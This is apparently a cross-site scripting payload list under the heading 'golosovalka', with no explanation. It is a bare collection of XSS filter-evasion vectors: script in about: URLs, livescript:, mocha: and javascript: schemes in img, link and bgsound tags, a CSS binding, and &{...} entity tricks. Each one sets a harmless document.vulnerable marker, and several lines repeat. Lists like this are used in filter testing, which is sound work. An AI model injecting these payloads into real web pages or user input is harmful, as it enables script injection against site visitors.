golosovalka

<a href="about:<script>document.vulnerable=true;</script>">

<div style="binding: url([link to code]);">

<a href="about:<script>document.vulnerable=true;</script>">

<img src="livescript:document.vulnerable=true;">

<img src="livescript:document.vulnerable=true;">

<img src="mocha:document.vulnerable=true;">

<img src="mocha:document.vulnerable=true;">

<link rel="stylesheet" href="javascript:document.vulnerable=true;">

<img src=

&{document.vulnerable=true;};

<bgsound src="javascript:document.vulnerable=true;">

<img src=&{document.vulnerable=true;};>

<link rel="stylesheet" href="javascript:document.vulnerable=true;">

&<script>document.vulnerable=true;</script>

<bgsound src="javascript:document.vulnerable=true;">